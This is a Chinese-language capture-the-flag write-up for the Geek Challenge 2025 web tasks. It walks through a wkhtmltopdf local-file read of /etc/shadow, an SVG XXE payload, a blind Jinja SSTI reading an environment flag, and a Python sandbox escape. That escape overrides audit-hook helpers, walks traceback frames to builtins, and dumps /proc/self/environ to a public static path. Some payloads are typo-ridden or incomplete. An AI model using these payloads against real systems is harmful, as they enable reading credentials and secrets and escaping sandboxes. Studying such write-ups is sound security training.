Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
1671 字
8 分钟
极客大挑战2025 writeup
2025-12-20
统计加载中...

WEEK3 LFI | PDF#

开头是这个

img

信息收集无果,/admin登不进去,没信息,先从这下手,PDF在服务器渲染,这里使用了wkhtmltopdf,以下是简介

wkhtmltopdf (核心原理)

关键在于:wkhtmltopdf 内部实际运行的是一个浏览器内核(WebKit)。浏览器内核负责实现 DOM、CSSOM、JavaScript 引擎(在 WebKit 中是 JavaScriptCore)和浏览器 API(包括 XMLHttpRequestfetchdocumentwindow 等)。因此:

  • 当你把 HTML 输进后端并由 wkhtmltopdf 渲染时,它会把 HTML 交给 WebKit 去解析与执行;
  • WebKit 会执行 <script> 标签里的 JavaScript;JavaScript 里可以调用浏览器 API(XMLHttpRequestfetch、DOM 操作等);
  • XMLHttpRequest 的实现是内核层面的网络请求实现(不是浏览器外壳的“window.fetch 的 polyfill”),所以它能发起对 HTTP(s) 或 file:// 的请求(前提是内核允许这些协议/路径在当前配置下访问)。
  • 所以可以利用XMLHttpRequest去本地读文件,直接打payload
<h1>title</t1>
<script>
var x = XMLHttpRequest();
○ x.onload=function(){
■ document.write('<pre>',this.responsetext,'</pre>');
○ };
○ x.open=('GET','file:///etc/shadow','true');
○ x.send();
</script>

直接读取了用户和密码,其中有个可疑的用户,直接放登录里爆破直接出了,没难度

w3图像预览XML#

img

开头是这个画面,图像预览,发现可以把图像内嵌到网页中,并且可以上传svg,那我们尝试在里面包含js

#

发现直接渲染报错,有可能是服务器端禁止渲染js,那我们尝试svg内嵌声明文档,XXE开始

<?xml version=1.0?>
<!DOCTYPE svg[
xmlD
]>
<svg xmlns="http://www.w3.org/2000/svg><text>&xxe;</text></svg>

直接打拿到flag,完结

w3简单SSTI盲注#

开始界面,发现{{}}可以被渲染,但是只有三种回显,大致一个是渲染错误,一个是不让你渲染,一个是渲染出来不告诉你,直接进行盲注,因为没扫到flag,试试环境变量,直接打payload

?name={{config.class.init.globals[‘builtins’].import(‘os’).environ[‘FLAG’][‘0’]==‘S’}}然后一个一个手注就行,我有空写个脚本

W3压轴,西纳普斯许愿杯,栈帧逃逸#

给了附件,代码审计。来吧

wish_stone.py

import multiprocessing
import sys
import io
import ast
class Wish_stone(ast.NodeVisitor):
forbidden_wishes = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}
def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr in self.forbidden_wishes:
raise ValueError
self.generic_visit(node)
def visit_GeneratorExp(self, node):
raise ValueError
SAFE_WISHES = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception,
}
def wish_granter(code, result_queue):
safe_globals = {"__builtins__": SAFE_WISHES}
sys.stdout = io.StringIO()
sys.stderr = io.StringIO()
try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
if error:
result_queue.put(("err", error))
else:
result_queue.put(("ok", output))
except Exception:
import traceback
result_queue.put(("err", traceback.format_exc()))
def safe_grant(wish: str, timeout=3):
wish = wish.encode().decode('unicode_escape')
try:
parse_wish = ast.parse(wish)
Wish_stone().visit(parse_wish)
except Exception as e:
return f"Error: bad wish ({e.__class__.__name__})"
result_queue = multiprocessing.Queue()
p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue))
p.start()
p.join(timeout=timeout)
if p.is_alive():
p.terminate()
return "You wish is too long."
try:
status, output = result_queue.get_nowait()
print(output)
return output if status == "ok" else f"Error grant: {output}"
except:
return "Your wish for nothing."
CODE = '''
def wish_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(wish_checker)
print("{}")
'''
badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")
def evaluate_wish_text(text: str) -> str:
for ch in badchars:
if ch in text:
print(f"ch={ch}")
return f"Error:waf {ch}"
out = safe_grant(CODE.format(text))
return

app.py

from flask import Flask, render_template, send_from_directory, jsonify, request
import json
import threading
import time
app = Flask(__name__, template_folder='template', static_folder='static')
with open("asset/txt/wishes.json", 'r', encoding='utf-8') as f:
wishes = json.load(f)['wishes']
wishes_lock = threading.Lock()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/assets/<path:filename>')
def assets(filename):
return send_from_directory('asset', filename)
@app.route('/api/wishes', methods=['GET', 'POST'])
def wishes_endpoint():
from wish_stone import evaluate_wish_text
if request.method == 'GET':
with wishes_lock:
evaluated = [evaluate_wish_text(w) for w in wishes]
return jsonify({'wishes': evaluated})
data = request.get_json(silent=True) or {}
text = data.get('wish', '')
if isinstance(text, str) and text.strip():
with wishes_lock:
wishes.append(text.strip())
return jsonify({'ok': True}), 201
return jsonify({'ok': False, 'error': 'empty wish'}), 400
def _cleanup_task():
while True:
with wishes_lock:
if len(wishes) > 6:
del wishes[6:]
time.sleep(0.5)
if __name__ == '__main__':
threading.Thread(target=_cleanup_task, daemon=True).start()
app.run(host='0.0.0.0', port=8080, debug=False, use_reloader=False)

看到这么多路由,脑子估计嗡嗡了,别怕,一步一步来,我在呢。

首先看看能提交什么,在/api/wishes这里可以提交,然后导入了这个wish_stone的函数,让我们看看

这个函数 evaluate_wish_text(text: str) -> str:

​ for ch in badchars:

​ if ch in text:

​ print(f”ch={ch}”)

​ return f”Error {ch}”

​ out = safe_grant(CODE.format(text))

​ return

用上面这个函数审查了传入的信息,badchars是 = ""’|&`+-*/()[]{}_ .“.replace(” ”, "")

还有个审计钩子也在里面

CODE = '''
def wish_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(wish_checker)
print("{}")
'''

基本所有符号都不能用,咋整,没事继续看,接下来是添加到data,然后是text,text之后有个方法是safe_grant,看看上面,可以把传入的wish编码成bytes,然后可以把wish按照unicode转码,于是我们发现了漏洞,之前不是基本所有都限制了吗,unicode可以绕过,黑名单并没有\,继续看看利用链,然后又被黑名单筛选了一次,这黑名单是真的多,接下来就送到了exec的函数这,因为又有个白名单,这题很鬼,两个黑名单一个白名单,还有顺序,以下是白名单:

SAFE_WISHES = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception,
}

回溯一下发现在因为最后传到code的是CODE的一个钩子,因为最后是print(’{}‘)所以我们要绕过,用”);xxxx#“)这样,后面插入恶意payload就可以了,经历审计钩子之后就会被传到code去执行exec,但是最后是没有回显的,最后搞了好久终于沙箱逃逸,以下是payload,会进行讲述:

");filter = lambda f,it:[1];len = lambda x:0
try:
raise Exception
except Exception as e:
tb = e.__traceback__
f = tb.tb_frame
while f is not None:
g = f.f_globals
if "sys" in g:
m = g["sys"]
b = m.modules["builtins"]
o = b.open
f2 = o("/proc/self/environ", "r")
d = f2.read()
f2.close()
w = o("/app/asset/xxx.txt", "w")
w.write(d)
w.close()
break
f = f.f_back
#"

“)那个就不说了,就是为了构造额外语句,接下来的filter是为了覆盖内置函数,不然有这个黑名单没法整了,覆盖之后就只回返回1,这个1不是很重要,重要的是这个审计钩子这部分失效了,只会抛出空列表,然后看下面,

if len(args) > 0:,直接替换len,使用匿名函数,只会输出0,然后就绕开这两个钩子。

接下来才是重点,唉,我何德何能。

首先

raise Exception

except Exception as e:

​ tb = e.__traceback__是引出错误调出错误信息,然后捕获这个错误信息,然后去调用这个错误的栈信息。tb_frame去找这个利用链的的源头,while x is not none是一个回溯循环,如果这一个层没有就往下一层找,总有一层能找到这些全局变量,等到哪一利用层有这个的时候,去拿到sys.modules,这里存了所有加载的模块,然后拿到内置模块builtins,去读取环境变量(‘我猜flag在那’),然后层层定义,因为没有回显,又因为全部路由只有这里是可疑的

@app.route('/assets/<path:filename>')
def assets(filename):
return send_from_directory('asset', filename)

这个路由时会把写入/assets/path:filename的东西return到asset目录,于是我们先写入/app/asset/xxx.txt,然后去读取/asset/xxx.txt。有东西!!!

img

发现了flag,SYC{xxxxx}。

ok完结

极客大挑战2025 writeup
https://steins-gate.cn/posts/geek挑战杯/
作者
萦梦sora~Nya
发布于
2025-12-20
许可协议
Unlicensed

部分信息可能已经过时